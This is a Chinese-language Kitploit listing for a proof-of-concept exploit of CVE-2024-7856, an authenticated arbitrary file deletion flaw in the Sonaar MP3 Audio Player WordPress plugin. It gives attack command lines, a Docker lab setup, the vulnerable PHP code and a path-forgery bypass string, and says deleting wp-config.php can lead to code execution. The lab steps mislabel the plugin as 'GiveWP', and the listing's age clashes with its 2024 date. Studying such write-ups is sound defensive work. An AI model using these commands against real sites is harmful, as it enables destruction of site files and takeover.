Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-7856 — Proof-of-Concept for CVE-2024-7856 | Kitploit
工具/GitHubGitHub/l8bl/cve-2024-7856
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubl8bl/cve-2024-7856

CVE-2024-7856

Proof-of-Concept for CVE-2024-7856

查看仓库
11年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-7856

★ CVE-2024-7856 任意文件删除 PoC ★

描述

CVE-2024-7856 : MP3 Audio Player – Music Player, Podcast Player & Radio by Sonaar <= 5.7.0.1 – 授权缺失导致已认证(订阅者及以上)任意文件删除

研究员: Arkadiusz Hydzik

描述: WordPress 插件 MP3 Audio Player – Music Player, Podcast Player & Radio by Sonaar 在 5.7.0.1 及之前的所有版本中,由于 removeTempFiles() 函数缺少权限检查以及 file 参数路径验证不足,存在未授权任意文件删除漏洞。这使得经过身份验证的攻击者(订阅者级别及以上)能够删除任意文件,当删除 wp-config.php 时可能导致远程代码执行。

使用方法

Git 克隆

root@kitploit:~
git clone https://github.com/l8BL/CVE-2024-7856.git
cd CVE-2024-7856

安装依赖包

root@kitploit:~
pip install -r requirements.txt

命令

root@kitploit:~
# 任意文件删除
python3 CVE-2024-7856.py -u <要攻击的URL> -f <要删除的文件>
python3 CVE-2024-7856.py -u <要攻击的URL> -f <要删除的文件> -i <登录用户ID> -p <登录用户密码>

示例

root@kitploit:~
python3 CVE-2024-7856.py -u http://example.com/ -f /tmp/test
python3 CVE-2024-7856.py -u http://example.com/ -f /tmp/test -i EQSTtester -p q1w2e3r4t5y!

输出

CVE-2024-7856.py alt text

结果

alt text

漏洞环境

1. docker-compose.yml

root@kitploit:~
services:
  db:
    image: mysql:8.0.27
    command: '--default-authentication-plugin=mysql_native_password'
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=somewordpress
      - MYSQL_DATABASE=wordpress
      - MYSQL_USER=wordpress
      - MYSQL_PASSWORD=wordpress
    expose:
      - 3306
      - 33060
  wordpress:
    image: wordpress:6.3.2
    ports:
      - 80:80
    restart: always
    environment:
      - WORDPRESS_DB_HOST=db
      - WORDPRESS_DB_USER=wordpress
      - WORDPRESS_DB_PASSWORD=wordpress
      - WORDPRESS_DB_NAME=wordpress
volumes:
  db_data:

2. 然后下载存在漏洞的 GiveWP 插件:

https://downloads.wordpress.org/plugin/mp3-music-player-by-sonaar.5.7.zip

3. 解压 GiveWP 插件压缩包,并将整个文件复制到 “/var/www/html/wp-content/plugins” 目录。

root@kitploit:~
docker cp mp3-music-player-by-sonaar docker-wordpress-1:/var/www/html/wp-content/plugins

分析

漏洞点1 (includes/class-sonaar-music.php)

root@kitploit:~
public function removeTempFiles(){
    // will unlink the temporary peak file and generate another one automatically.

    check_ajax_referer('sonaar_music_admin_ajax_nonce', 'nonce');

    $is_temp = filter_input(INPUT_POST, 'is_temp', FILTER_VALIDATE_BOOLEAN);
    $file = filter_input(INPUT_POST, 'file', FILTER_SANITIZE_STRING);

    if ($is_temp && $file) {
        $upload_dir = wp_get_upload_dir();

        $peaks_dir = $this->get_peak_dir();

        $file_path_temp = str_replace($upload_dir['baseurl'] . $this->get_peak_dir(true), $peaks_dir, $file);

        if (strpos($file_path_temp, $peaks_dir) === 0 && file_exists($file_path_temp)) {
            wp_delete_file($file_path_temp);
        }
    }


}

漏洞点2 (admin/class-sonaar-music-admin.php)

root@kitploit:~
if (strpos($hook, SR_PLAYLIST_CPT . '_page_srmp3_settings_') === 0) {
    wp_enqueue_script( 'cmb2_image_select_metafield-js', plugin_dir_url( __FILE__ ) . 'library/cmb2-image-select-field-type/image_select_metafield.js' , '', '1.0.0', true );  // Used for plugin settings page only. it does not work on group repeater fields
    wp_enqueue_script( 'sonaar-music', plugin_dir_url( __DIR__ ) . 'public/js/sonaar-music-public.js', array( 'jquery' ), $this->version, true ); // used for peak generation
    wp_localize_script('sonaar-admin', 'sonaar_music', array(
        'plugin_version_free'=> SRMP3_VERSION,
        'plugin_version_pro'=> ( defined( 'SRMP3PRO_VERSION' ) ? SRMP3PRO_VERSION : 'Not Installed' ),
        'ajax' => array(
            'ajax_url' => admin_url( 'admin-ajax.php' ),
            'ajax_nonce' => wp_create_nonce( 'sonaar_music_admin_ajax_nonce' ),
            'ajax_nonce_peaks' => wp_create_nonce( 'sonaar_music_ajax_peaks_nonce' ),
        ),
    ));
}

绕过技术

路径伪造 : /wp-admin/index.php/%0a/wp-admin/sr_playlist_page_srmp3_settings_

攻击场景

任意文件删除

拥有授权用户身份,您可以利用此漏洞进行任意文件删除。

免责声明

此仓库并非旨在作为 CVE-2024-7856 的任意文件删除利用工具。本项目的目的是帮助人们了解此漏洞,并可能用于测试他们自己的应用程序。

参考

https://www.wordfence.com/blog/2024/09/critical-arbitrary-file-deletion-vulnerability-in-mp3-audio-player-wordpress-plugin-affects-over-20000-sites/

下载工具